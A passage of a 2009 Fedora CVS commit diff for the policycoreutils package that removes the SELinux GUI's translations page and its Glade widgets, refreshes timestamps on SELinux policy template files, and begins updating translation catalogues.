-+			  <signal name="clicked" handler="on_properties_clicked" last_modification_time="Mon, 16 Jan 2006 18:26:51 GMT"/>
-+			</widget>
-+			<packing>
-+			  <property name="expand">False</property>
-+			  <property name="homogeneous">True</property>
-+			</packing>
-+		      </child>
-+
-+		      <child>
-+			<widget class="GtkToolButton" id="toolbutton13">
-+			  <property name="visible">True</property>
-+			  <property name="tooltip" translatable="yes">Delete Translation</property>
-+			  <property name="stock_id">gtk-delete</property>
-+			  <property name="visible_horizontal">True</property>
-+			  <property name="visible_vertical">True</property>
-+			  <property name="is_important">False</property>
-+			  <signal name="clicked" handler="on_delete_clicked" last_modification_time="Mon, 16 Jan 2006 18:26:29 GMT"/>
-+			</widget>
-+			<packing>
-+			  <property name="expand">False</property>
-+			  <property name="homogeneous">True</property>
-+			</packing>
-+		      </child>
-+		    </widget>
-+		    <packing>
-+		      <property name="padding">0</property>
-+		      <property name="expand">False</property>
-+		      <property name="fill">False</property>
-+		    </packing>
-+		  </child>
-+
-+		  <child>
-+		    <widget class="GtkHBox" id="hbox10">
-+		      <property name="visible">True</property>
-+		      <property name="homogeneous">False</property>
-+		      <property name="spacing">0</property>
-+
-+		      <child>
-+			<widget class="GtkLabel" id="label54">
-+			  <property name="visible">True</property>
-+			  <property name="label" translatable="yes">Filter</property>
-+			  <property name="use_underline">False</property>
-+			  <property name="use_markup">False</property>
-+			  <property name="justify">GTK_JUSTIFY_LEFT</property>
-+			  <property name="wrap">False</property>
-+			  <property name="selectable">False</property>
-+			  <property name="xalign">0.5</property>
-+			  <property name="yalign">0.5</property>
-+			  <property name="xpad">0</property>
-+			  <property name="ypad">0</property>
-+			  <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
-+			  <property name="width_chars">-1</property>
-+			  <property name="single_line_mode">False</property>
-+			  <property name="angle">0</property>
-+			</widget>
-+			<packing>
-+			  <property name="padding">10</property>
-+			  <property name="expand">False</property>
-+			  <property name="fill">False</property>
-+			</packing>
-+		      </child>
-+
-+		      <child>
-+			<widget class="GtkEntry" id="translationsFilterEntry">
-+			  <property name="visible">True</property>
-+			  <property name="can_focus">True</property>
-+			  <property name="editable">True</property>
-+			  <property name="visibility">True</property>
-+			  <property name="max_length">0</property>
-+			  <property name="text" translatable="yes"></property>
-+			  <property name="has_frame">True</property>
-+			  <property name="invisible_char">?</property>
-+			  <property name="activates_default">False</property>
-+			  <signal name="changed" handler="on_booleansFilter_changed" last_modification_time="Fri, 06 Apr 2007 12:39:26 GMT"/>
-+			</widget>
-+			<packing>
-+			  <property name="padding">0</property>
-+			  <property name="expand">True</property>
-+			  <property name="fill">True</property>
-+			</packing>
-+		      </child>
-+		    </widget>
-+		    <packing>
-+		      <property name="padding">5</property>
-+		      <property name="expand">False</property>
-+		      <property name="fill">True</property>
-+		    </packing>
-+		  </child>
-+
-+		  <child>
-+		    <widget class="GtkScrolledWindow" id="scrolledwindow12">
-+		      <property name="visible">True</property>
-+		      <property name="can_focus">True</property>
-+		      <property name="hscrollbar_policy">GTK_POLICY_ALWAYS</property>
-+		      <property name="vscrollbar_policy">GTK_POLICY_ALWAYS</property>
-+		      <property name="shadow_type">GTK_SHADOW_NONE</property>
-+		      <property name="window_placement">GTK_CORNER_TOP_LEFT</property>
-+
-+		      <child>
-+			<widget class="GtkTreeView" id="translationsView">
-+			  <property name="visible">True</property>
-+			  <property name="tooltip" translatable="yes">Translation</property>
-+			  <property name="can_focus">True</property>
-+			  <property name="headers_visible">True</property>
-+			  <property name="rules_hint">False</property>
-+			  <property name="reorderable">False</property>
-+			  <property name="enable_search">True</property>
-+			  <property name="fixed_height_mode">False</property>
-+			  <property name="hover_selection">False</property>
-+			  <property name="hover_expand">False</property>
-+			</widget>
-+		      </child>
-+		    </widget>
-+		    <packing>
-+		      <property name="padding">0</property>
-+		      <property name="expand">True</property>
-+		      <property name="fill">True</property>
-+		    </packing>
-+		  </child>
-+		</widget>
-+		<packing>
-+		  <property name="tab_expand">False</property>
-+		  <property name="tab_fill">True</property>
-+		</packing>
-+	      </child>
-+
-+	      <child>
-+		<widget class="GtkLabel" id="label40">
-+		  <property name="visible">True</property>
-+		  <property name="label" translatable="yes">label40</property>
-+		  <property name="use_underline">False</property>
-+		  <property name="use_markup">False</property>
-+		  <property name="justify">GTK_JUSTIFY_LEFT</property>
-+		  <property name="wrap">False</property>
-+		  <property name="selectable">False</property>
-+		  <property name="xalign">0.5</property>
-+		  <property name="yalign">0.5</property>
-+		  <property name="xpad">0</property>
-+		  <property name="ypad">0</property>
-+		  <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
-+		  <property name="width_chars">-1</property>
-+		  <property name="single_line_mode">False</property>
-+		  <property name="angle">0</property>
-+		</widget>
-+		<packing>
-+		  <property name="type">tab</property>
-+		</packing>
-+	      </child>
-+
-+	      <child>
 +		<widget class="GtkVBox" id="vbox15">
 +		  <property name="visible">True</property>
 +		  <property name="homogeneous">False</property>
@@ -11879,10 +11500,21 @@ diff --exclude-from=exclude -N -u -r nsa
 +</widget>
 +
 +</glade-interface>
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.gladep policycoreutils-2.0.74/gui/system-config-selinux.gladep
+--- nsapolicycoreutils/gui/system-config-selinux.gladep	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/gui/system-config-selinux.gladep	2009-10-15 10:42:01.000000000 -0400
+@@ -0,0 +1,7 @@
++<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
++<!DOCTYPE glade-project SYSTEM "http://glade.gnome.org/glade-project-2.0.dtd">
++
++<glade-project>
++  <name></name>
++  <program_name></program_name>
++</glade-project>
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.py policycoreutils-2.0.74/gui/system-config-selinux.py
 --- nsapolicycoreutils/gui/system-config-selinux.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/system-config-selinux.py	2009-09-20 21:26:37.000000000 -0400
-@@ -0,0 +1,189 @@
++++ policycoreutils-2.0.74/gui/system-config-selinux.py	2009-10-15 10:38:12.000000000 -0400
+@@ -0,0 +1,187 @@
 +#!/usr/bin/python
 +#
 +# system-config-selinux.py - GUI for SELinux Config tool in system-config-selinux
@@ -11921,7 +11553,6 @@ diff --exclude-from=exclude -N -u -r nsa
 +import modulesPage
 +import domainsPage
 +import fcontextPage
-+import translationsPage
 +import selinux
 +##
 +## I18N
@@ -11972,7 +11603,6 @@ diff --exclude-from=exclude -N -u -r nsa
 +                self.add_page(fcontextPage.fcontextPage(xml))
 +                self.add_page(loginsPage.loginsPage(xml))
 +                self.add_page(usersPage.usersPage(xml))
-+                self.add_page(translationsPage.translationsPage(xml))
 +                self.add_page(portsPage.portsPage(xml))
 +                self.add_page(modulesPage.modulesPage(xml)) # modules
 +                self.add_page(domainsPage.domainsPage(xml)) # domains
@@ -12074,7 +11704,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +    app.stand_alone()
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/boolean.py policycoreutils-2.0.74/gui/templates/boolean.py
 --- nsapolicycoreutils/gui/templates/boolean.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/boolean.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/boolean.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,40 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12118,7 +11748,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/etc_rw.py policycoreutils-2.0.74/gui/templates/etc_rw.py
 --- nsapolicycoreutils/gui/templates/etc_rw.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/etc_rw.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/etc_rw.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,129 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12251,7 +11881,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/executable.py policycoreutils-2.0.74/gui/templates/executable.py
 --- nsapolicycoreutils/gui/templates/executable.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/executable.py	2009-10-02 08:46:53.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/executable.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,359 @@
 +# Copyright (C) 2007-2009 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12614,7 +12244,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/__init__.py policycoreutils-2.0.74/gui/templates/__init__.py
 --- nsapolicycoreutils/gui/templates/__init__.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/__init__.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/__init__.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,18 @@
 +#
 +# Copyright (C) 2007 Red Hat, Inc.
@@ -12636,7 +12266,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/network.py policycoreutils-2.0.74/gui/templates/network.py
 --- nsapolicycoreutils/gui/templates/network.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/network.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/network.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,80 @@
 +te_port_types="""
 +type TEMPLATETYPE_port_t;
@@ -12720,7 +12350,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/rw.py policycoreutils-2.0.74/gui/templates/rw.py
 --- nsapolicycoreutils/gui/templates/rw.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/rw.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/rw.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,127 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12851,7 +12481,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/script.py policycoreutils-2.0.74/gui/templates/script.py
 --- nsapolicycoreutils/gui/templates/script.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/script.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/script.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,99 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12954,7 +12584,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/semodule.py policycoreutils-2.0.74/gui/templates/semodule.py
 --- nsapolicycoreutils/gui/templates/semodule.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/semodule.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/semodule.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,41 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12999,7 +12629,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/tmp.py policycoreutils-2.0.74/gui/templates/tmp.py
 --- nsapolicycoreutils/gui/templates/tmp.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/tmp.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/tmp.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,97 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13100,7 +12730,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/user.py policycoreutils-2.0.74/gui/templates/user.py
 --- nsapolicycoreutils/gui/templates/user.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/user.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/user.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,182 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13286,7 +12916,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_lib.py policycoreutils-2.0.74/gui/templates/var_lib.py
 --- nsapolicycoreutils/gui/templates/var_lib.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_lib.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_lib.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,158 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13448,7 +13078,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_log.py policycoreutils-2.0.74/gui/templates/var_log.py
 --- nsapolicycoreutils/gui/templates/var_log.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_log.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_log.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,110 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13562,7 +13192,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_run.py policycoreutils-2.0.74/gui/templates/var_run.py
 --- nsapolicycoreutils/gui/templates/var_run.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_run.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_run.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,118 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13684,7 +13314,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_spool.py policycoreutils-2.0.74/gui/templates/var_spool.py
 --- nsapolicycoreutils/gui/templates/var_spool.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_spool.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_spool.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,129 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13815,131 +13445,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +fc_dir="""\
 +FILENAME(/.*)?			gen_context(system_u:object_r:TEMPLATETYPE_spool_t,s0)
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/translationsPage.py policycoreutils-2.0.74/gui/translationsPage.py
---- nsapolicycoreutils/gui/translationsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/translationsPage.py	2009-09-20 21:26:37.000000000 -0400
-@@ -0,0 +1,118 @@
-+## translationsPage.py - show selinux translations
-+## Copyright (C) 2006 Red Hat, Inc.
-+
-+## This program is free software; you can redistribute it and/or modify
-+## it under the terms of the GNU General Public License as published by
-+## the Free Software Foundation; either version 2 of the License, or
-+## (at your option) any later version.
-+
-+## This program is distributed in the hope that it will be useful,
-+## but WITHOUT ANY WARRANTY; without even the implied warranty of
-+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+## GNU General Public License for more details.
-+
-+## You should have received a copy of the GNU General Public License
-+## along with this program; if not, write to the Free Software
-+## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
-+
-+## Author: Dan Walsh
-+import string
-+import gtk
-+import gtk.glade
-+import os
-+import gobject
-+import sys
-+import seobject
-+from semanagePage import *;
-+
-+##
-+## I18N
-+## 
-+PROGNAME="policycoreutils"
-+import gettext
-+gettext.bindtextdomain(PROGNAME, "/usr/share/locale")
-+gettext.textdomain(PROGNAME)
-+try:
-+    gettext.install(PROGNAME, localedir="/usr/share/locale", unicode=1)
-+except IOError:
-+    import __builtin__
-+    __builtin__.__dict__['_'] = unicode
-+
-+class translationsPage(semanagePage):
-+    def __init__(self, xml):
-+        semanagePage.__init__(self, xml, "translations", _("Translation"))
-+        self.firstTime = False
-+
-+        self.translation_filter = xml.get_widget("translationsFilterEntry")
-+        self.translation_filter.connect("focus_out_event", self.filter_changed)
-+        self.translation_filter.connect("activate", self.filter_changed)
-+
-+        self.store = gtk.ListStore(gobject.TYPE_STRING, gobject.TYPE_STRING)
-+        self.view.set_model(self.store)
-+        self.store.set_sort_column_id(0, gtk.SORT_ASCENDING)        
-+        col = gtk.TreeViewColumn(_("Sensitvity Level"), gtk.CellRendererText(), text = 0)
-+        col.set_sort_column_id(0)
-+	col.set_sizing(gtk.TREE_VIEW_COLUMN_FIXED)
-+        col.set_resizable(True)
-+        col.set_fixed_width(250)
-+        self.view.append_column(col)
-+        col = gtk.TreeViewColumn(_("Translation"), gtk.CellRendererText(), text = 1)
-+        col.set_sort_column_id(1)
-+        col.set_resizable(True)
-+        self.view.append_column(col)
-+
-+        self.load()
-+        self.translationsLevelEntry = xml.get_widget("translationsLevelEntry")
-+        self.translationsEntry = xml.get_widget("translationsEntry")
-+        
-+    def load(self, filter = ""):
-+        self.filter = filter
-+        self.translation = seobject.setransRecords()
-+        dict = self.translation.get_all()
-+        keys = dict.keys()
-+        keys.sort()
-+        self.store.clear()
-+        for k in keys:
-+            if not (self.match(k, filter) or self.match(dict[k], filter)):
-+                continue
-+            iter = self.store.append()
-+            self.store.set_value(iter, 0, k)
-+            self.store.set_value(iter, 1, dict[k])
-+        self.view.get_selection().select_path ((0,))
-+
-+    def dialogInit(self):
-+        store, iter = self.view.get_selection().get_selected()
-+        self.translationsLevelEntry.set_text(store.get_value(iter, 0))
-+        self.translationsLevelEntry.set_sensitive(False)
-+        self.translationsEntry.set_text(store.get_value(iter, 1))
-+        
-+    def dialogClear(self):
-+        self.translationsLevelEntry.set_text("")
-+        self.translationsLevelEntry.set_sensitive(True)
-+        self.translationsEntry.set_text("")
-+        
-+    def delete(self):
-+        store, iter = self.view.get_selection().get_selected()
-+        try:
-+            level = store.get_value(iter, 0)
-+            self.translation.delete(level)
-+            store.remove(iter)
-+            self.view.get_selection().select_path ((0,))
-+        except ValueError, e:
-+            self.error(e.args[0])
-+
-+    def add(self):
-+        level = self.translationsLevelEntry.get_text().strip()
-+        translation = self.translationsEntry.get_text().strip()
-+        self.translation.add(level, translation)
-+        iter = self.store.append()
-+        self.store.set_value(iter, 0, level)
-+        self.store.set_value(iter, 1, translation)
-+        
-+    def modify(self):
-+        level = self.translationsLevelEntry.get_text().strip()
-+        translation = self.translationsEntry.get_text().strip()
-+        self.translation.modify(level, translation)
-+        store, iter = self.view.get_selection().get_selected()
-+        self.store.set_value(iter, 0, level)
-+        self.store.set_value(iter, 1, translation)
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/usersPage.py policycoreutils-2.0.74/gui/usersPage.py
 --- nsapolicycoreutils/gui/usersPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/usersPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/usersPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,150 @@
 +## usersPage.py - show selinux mappings
 +## Copyright (C) 2006,2007,2008 Red Hat, Inc.

policycoreutils-po.patch:
 Makefile            |   27 
 POTFILES            |   28 
 POTFILES.in         |    2 
 af.po               | 2499 +++++++++++++++++++++++++---
 am.po               | 2499 +++++++++++++++++++++++++---
 ar.po               | 2499 +++++++++++++++++++++++++---
 as.po               | 3775 +++++++++++++++++++++++++-----------------
 be.po               | 2499 +++++++++++++++++++++++++---
 bg.po               | 3670 ++++++++++++++++++++++++-----------------
 bn.po               | 2499 +++++++++++++++++++++++++---
 bn_IN.po            | 4080 ++++++++++++++++++++++++++-------------------
 bs.po               | 2591 ++++++++++++++++++++++++++---
 ca.po               | 3027 +++++++++++++++++++++++++++++-----
 cs.po               | 2926 +++++++++++++++++++++++++++-----
 cy.po               | 2499 +++++++++++++++++++++++++---
 da.po               | 3206 ++++++++++++++++++++++++++++++------
 de.po               | 3983 +++++++++++++++++++++++++-------------------
 el.po               | 2609 ++++++++++++++++++++++++++---
 en_GB.po            | 2590 ++++++++++++++++++++++++++---
 es.po               | 4095 ++++++++++++++++++++++++++--------------------
 et.po               | 2497 +++++++++++++++++++++++++---
 eu_ES.po            | 2499 +++++++++++++++++++++++++---
 fa.po               | 2499 +++++++++++++++++++++++++---
 fi.po               | 3254 +++++++++++++++++++++++++++++++-----
 fr.po               | 3923 ++++++++++++++++++++++++++------------------
 gl.po               | 2497 +++++++++++++++++++++++++---
 gu.po               | 4160 ++++++++++++++++++++++++++--------------------
 he.po               | 2499 +++++++++++++++++++++++++---
 hi.po               | 4175 ++++++++++++++++++++++++++--------------------
 hr.po               | 3105 +++++++++++++++++++++++-----------
 hu.po               | 3052 +++++++++++++++++++++++++++++-----
 hy.po               | 2499 +++++++++++++++++++++++++---
 id.po               | 2497 +++++++++++++++++++++++++---
 is.po               | 2499 +++++++++++++++++++++++++---
 it.po               | 4196 ++++++++++++++++++++++++++---------------------
 ja.po               | 4183 ++++++++++++++++++++++++++---------------------
 ka.po               | 2499 +++++++++++++++++++++++++---
 kn.po               | 4621 ++++++++++++++++++++++++++++++++--------------------
 ko.po               | 2991 +++++++++++++++++++++++++++------
 ku.po               | 2499 +++++++++++++++++++++++++---
 lo.po               | 2499 +++++++++++++++++++++++++---
 lt.po               | 2499 +++++++++++++++++++++++++---
 lv.po               | 2499 +++++++++++++++++++++++++---
 mai.po              | 3527 +++++++++++++++++++++++++++++++++++++++
 mk.po               | 2593 ++++++++++++++++++++++++++---
 ml.po               | 4276 +++++++++++++++++++++++++++---------------------
 mr.po               | 4219 +++++++++++++++++++++++++++--------------------
 ms.po               | 2574 +++++++++++++++++++++++++---
 my.po               | 2499 +++++++++++++++++++++++++---
 nb.po               | 2539 +++++++++++++++++++++++++---
 nl.po               | 3028 +++++++++++++++++++++++++++-------
 nn.po               | 2499 +++++++++++++++++++++++++---
 no.po               | 1272 --------------
 nso.po              | 2499 +++++++++++++++++++++++++---
 or.po               | 4031 ++++++++++++++++++++++++++-------------------
 pa.po               | 4101 ++++++++++++++++++++++++++--------------------
 pl.po               | 4116 ++++++++++++++++++++++++++--------------------
 policycoreutils.pot | 2499 +++++++++++++++++++++++++---
 pt.po               | 4467 ++++++++++++++++++++++++++++----------------------
 pt_BR.po            | 4543 +++++++++++++++++++++++++++++----------------------
 ro.po               | 2499 +++++++++++++++++++++++++---
 ru.po               | 3508 ++++++++++++++++++++++++++-------------
 si.po               | 2499 +++++++++++++++++++++++++---
 sk.po               | 2592 ++++++++++++++++++++++++++---
 sl.po               | 2499 +++++++++++++++++++++++++---
 sq.po               | 2499 +++++++++++++++++++++++++---
 sr.po               | 4211 ++++++++++++++++++++++++++---------------------
 sr at latin.po         | 4221 +++++++++++++++++++++++++++--------------------
 sv.po               | 3267 +++++++++++++++++++++++++-----------
 ta.po               | 3588 ++++++++++++++++++++++++++--------------
 te.po               | 4060 ++++++++++++++++++++++++++-------------------
 th.po               | 2499 +++++++++++++++++++++++++---
 tr.po               | 2499 +++++++++++++++++++++++++---
 uk.po               | 2592 ++++++++++++++++++++++++++---
 ur.po               | 2499 +++++++++++++++++++++++++---
 vi.po               | 2499 +++++++++++++++++++++++++---
 zh_CN.po            | 3954 +++++++++++++++++++++++++-------------------
 zh_TW.po            | 4234 ++++++++++++++++++++++++++---------------------
 zu.po               | 2499 +++++++++++++++++++++++++---
 79 files changed, 177578 insertions(+), 58166 deletions(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.57 -r 1.58 policycoreutils-po.patchIndex: policycoreutils-po.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils-po.patch,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- policycoreutils-po.patch	1 Oct 2009 15:39:04 -0000	1.57
+++ policycoreutils-po.patch	16 Oct 2009 13:37:53 -0000	1.58
@@ -1,71 +1,132 @@
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/af.po policycoreutils-2.0.74/po/af.po
 --- nsapolicycoreutils/po/af.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.74/po/af.po	2009-09-30 11:35:04.000000000 -0400
++++ policycoreutils-2.0.74/po/af.po	2009-10-15 10:54:34.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"
  "Report-Msgid-Bugs-To: \n"
 -"POT-Creation-Date: 2009-06-24 10:53-0400\n"
-+"POT-Creation-Date: 2009-01-21 17:13-0500\n"
++"POT-Creation-Date: 2009-10-15 10:54-0400\n"
  "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
  "Last-Translator: FULL NAME <EMAIL at ADDRESS>\n"
  "Language-Team: LANGUAGE <LL at li.org>\n"
-@@ -118,7 +118,9 @@
- msgid "Level"
+@@ -77,11 +77,11 @@
+ msgid "Could not set exec context to %s.\n"
+ msgstr ""
+ 
+-#: ../audit2allow/audit2allow:217
++#: ../audit2allow/audit2allow:225
+ msgid "******************** IMPORTANT ***********************\n"
+ msgstr ""
+ 
+-#: ../audit2allow/audit2allow:218
++#: ../audit2allow/audit2allow:226
+ msgid "To make this policy package active, execute:"
+ msgstr ""
+ 
+@@ -109,797 +109,818 @@
+ msgid "global"
+ msgstr ""
+ 
+-#: ../semanage/seobject.py:206
+-#, python-format
+-msgid "Unable to open %s: translations not supported on non-MLS machines: %s"
++#: ../semanage/seobject.py:209
++msgid "Not yet implemented"
+ msgstr ""
+ 
+-#: ../semanage/seobject.py:239
+-msgid "Level"
++#: ../semanage/seobject.py:213
++msgid "Semanage transaction already in progress"
  msgstr ""
  
 -#: ../semanage/seobject.py:239
-+#: ../semanage/seobject.py:239 ../gui/system-config-selinux.glade:651
-+#: ../gui/system-config-selinux.glade:2683 ../gui/translationsPage.py:43
-+#: ../gui/translationsPage.py:59
- msgid "Translation"
+-msgid "Translation"
++#: ../semanage/seobject.py:222
++msgid "Could not start semanage transaction"
+ msgstr ""
+ 
+-#: ../semanage/seobject.py:247 ../semanage/seobject.py:261
+-#, python-format
+-msgid "Translations can not contain spaces '%s' "
++#: ../semanage/seobject.py:228
++msgid "Could not commit semanage transaction"
+ msgstr ""
+ 
+-#: ../semanage/seobject.py:250
+-#, python-format
+-msgid "Invalid Level '%s' "
++#: ../semanage/seobject.py:232
++msgid "Semanage transaction not in progress"
  msgstr ""
  
-@@ -142,764 +144,763 @@
- msgid "%s not defined in translations"
+-#: ../semanage/seobject.py:253
+-#, python-format
+-msgid "%s already defined in translations"
++#: ../semanage/seobject.py:244 ../semanage/seobject.py:326
++msgid "Could not list SELinux modules"
+ msgstr ""
+ 
+-#: ../semanage/seobject.py:265
+-#, python-format
+-msgid "%s not defined in translations"
++#: ../semanage/seobject.py:253
++msgid "Modules Name"
  msgstr ""
  
 -#: ../semanage/seobject.py:290
-+#: ../semanage/seobject.py:291
- msgid "Not yet implemented"
+-msgid "Not yet implemented"
++#: ../semanage/seobject.py:253 ../gui/modulesPage.py:62
++msgid "Version"
  msgstr ""
  
 -#: ../semanage/seobject.py:294
 -msgid "Semanage transaction already in progress"
--msgstr ""
--
++#: ../semanage/seobject.py:256 ../gui/statusPage.py:75
++msgid "Disabled"
+ msgstr ""
+ 
 -#: ../semanage/seobject.py:303
-+#: ../semanage/seobject.py:298
- msgid "Could not start semanage transaction"
+-msgid "Could not start semanage transaction"
++#: ../semanage/seobject.py:271
++#, python-format
++msgid "Could not disable module %s (remove failed)"
  msgstr ""
  
 -#: ../semanage/seobject.py:309
-+#: ../semanage/seobject.py:304
- msgid "Could not commit semanage transaction"
+-msgid "Could not commit semanage transaction"
++#: ../semanage/seobject.py:282
++#, python-format
++msgid "Could not enable module %s (remove failed)"
  msgstr ""
  
 -#: ../semanage/seobject.py:313
 -msgid "Semanage transaction not in progress"
--msgstr ""
--
++#: ../semanage/seobject.py:297
++#, python-format
++msgid "Could not remove module %s (remove failed)"
+ msgstr ""
+ 
 -#: ../semanage/seobject.py:325
-+#: ../semanage/seobject.py:314
- msgid "Could not list SELinux modules"
+-msgid "Could not list SELinux modules"
++#: ../semanage/seobject.py:313
++msgid "dontaudit requires either 'on' or 'off'"
  msgstr ""
  
 -#: ../semanage/seobject.py:336
-+#: ../semanage/seobject.py:325
